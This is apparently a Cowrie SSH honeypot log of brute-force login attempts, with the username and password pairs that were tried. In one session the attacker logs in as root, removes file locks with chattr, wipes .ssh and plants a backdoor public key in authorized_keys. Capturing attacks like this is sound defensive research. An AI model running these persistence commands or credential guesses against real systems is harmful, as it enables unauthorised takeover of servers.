{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:50:18.121041Z","src_ip":"182.52.236.235","session":"e44831a9ef56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"copia","password":"copiacopia","message":"login attempt [copia/copiacopia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:50:18.718891Z","src_ip":"103.59.94.61","session":"27e196bcb6dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.56","src_port":33120,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f1ca7be1aca","protocol":"ssh","message":"New connection: 92.118.39.56:33120 (10.17.0.5:22) [session: 3f1ca7be1aca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:50:19.052066Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:50:19.148732Z","src_ip":"92.118.39.56","session":"3f1ca7be1aca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:50:19.970869Z","src_ip":"103.59.94.61","session":"27e196bcb6dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.88.194.26","src_port":53170,"dst_ip":"159.203.135.109","dst_port":22,"session":"b76a0d96f83e","protocol":"ssh","message":"New connection: 176.88.194.26:53170 (159.203.135.109:22) [session: b76a0d96f83e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:50:23.908698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:50:23.913772Z","src_ip":"176.88.194.26","session":"b76a0d96f83e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.210","src_port":13480,"dst_ip":"159.203.135.109","dst_port":22,"session":"01b0e19e890e","protocol":"ssh","message":"New connection: 107.150.103.210:13480 (159.203.135.109:22) [session: 01b0e19e890e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:50:23.976269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:50:23.981947Z","src_ip":"107.150.103.210","session":"01b0e19e890e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:50:24.039110Z","src_ip":"176.88.194.26","session":"b76a0d96f83e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:50:24.045835Z","src_ip":"107.150.103.210","session":"01b0e19e890e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ben","password":"Ben123","message":"login attempt [ben/Ben123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:50:24.333518Z","src_ip":"107.150.103.210","session":"01b0e19e890e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nuc","password":"nuc","message":"login attempt [nuc/nuc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:50:24.568782Z","src_ip":"176.88.194.26","session":"b76a0d96f83e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:50:25.399798Z","src_ip":"107.150.103.210","session":"01b0e19e890e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:50:25.694863Z","src_ip":"176.88.194.26","session":"b76a0d96f83e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.95.173","src_port":45300,"dst_ip":"10.17.0.5","dst_port":22,"session":"8855d7453d27","protocol":"ssh","message":"New connection: 20.244.95.173:45300 (10.17.0.5:22) [session: 8855d7453d27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:50:28.879719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:50:28.883866Z","src_ip":"20.244.95.173","session":"8855d7453d27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:50:29.087614Z","src_ip":"20.244.95.173","session":"8855d7453d27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andre","password":"andre1","message":"login attempt [andre/andre1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:50:29.506125Z","src_ip":"20.244.95.173","session":"8855d7453d27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:50:30.710553Z","src_ip":"20.244.95.173","session":"8855d7453d27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":37504,"dst_ip":"159.203.135.109","dst_port":22,"session":"a749eb097947","protocol":"ssh","message":"New connection: 45.232.73.84:37504 (159.203.135.109:22) [session: a749eb097947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:50:59.848704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:50:59.856824Z","src_ip":"45.232.73.84","session":"a749eb097947","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:50:59.978068Z","src_ip":"45.232.73.84","session":"a749eb097947","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"term1","password":"Term1123!","message":"login attempt [term1/Term1123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:51:00.473792Z","src_ip":"45.232.73.84","session":"a749eb097947","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:51:01.600739Z","src_ip":"45.232.73.84","session":"a749eb097947","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":37072,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a7ef1ee3545","protocol":"ssh","message":"New connection: 20.244.18.126:37072 (159.203.135.109:22) [session: 9a7ef1ee3545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:51:07.479970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:51:07.484556Z","src_ip":"20.244.18.126","session":"9a7ef1ee3545","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:51:07.683048Z","src_ip":"20.244.18.126","session":"9a7ef1ee3545","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Devops123","message":"login attempt [root/Devops123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:51:08.508293Z","src_ip":"20.244.18.126","session":"9a7ef1ee3545","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:51:08.943059Z","src_ip":"20.244.18.126","session":"9a7ef1ee3545","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:51:08.946328Z","src_ip":"20.244.18.126","session":"9a7ef1ee3545","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:51:08.950052Z","src_ip":"20.244.18.126","session":"9a7ef1ee3545","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:51:09.151239Z","src_ip":"20.244.18.126","session":"9a7ef1ee3545","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.106.133.202","src_port":56922,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0da69f0b015","protocol":"ssh","message":"New connection: 211.106.133.202:56922 (159.203.135.109:22) [session: b0da69f0b015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:51:09.502409Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:51:09.580023Z","src_ip":"20.244.18.126","session":"9a7ef1ee3545","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:51:09.583059Z","src_ip":"20.244.18.126","session":"9a7ef1ee3545","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:51:09.589875Z","src_ip":"211.106.133.202","session":"b0da69f0b015","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:51:09.749927Z","src_ip":"211.106.133.202","session":"b0da69f0b015","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:51:09.785746Z","src_ip":"20.244.18.126","session":"9a7ef1ee3545","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:51:09.789105Z","src_ip":"20.244.18.126","session":"9a7ef1ee3545","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":37082,"dst_ip":"159.203.135.109","dst_port":22,"session":"759ccf82c5c3","protocol":"ssh","message":"New connection: 20.244.18.126:37082 (159.203.135.109:22) [session: 759ccf82c5c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:51:09.987078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:51:09.991467Z","src_ip":"20.244.18.126","session":"759ccf82c5c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:51:10.192220Z","src_ip":"20.244.18.126","session":"759ccf82c5c3","protocol":"ssh"}
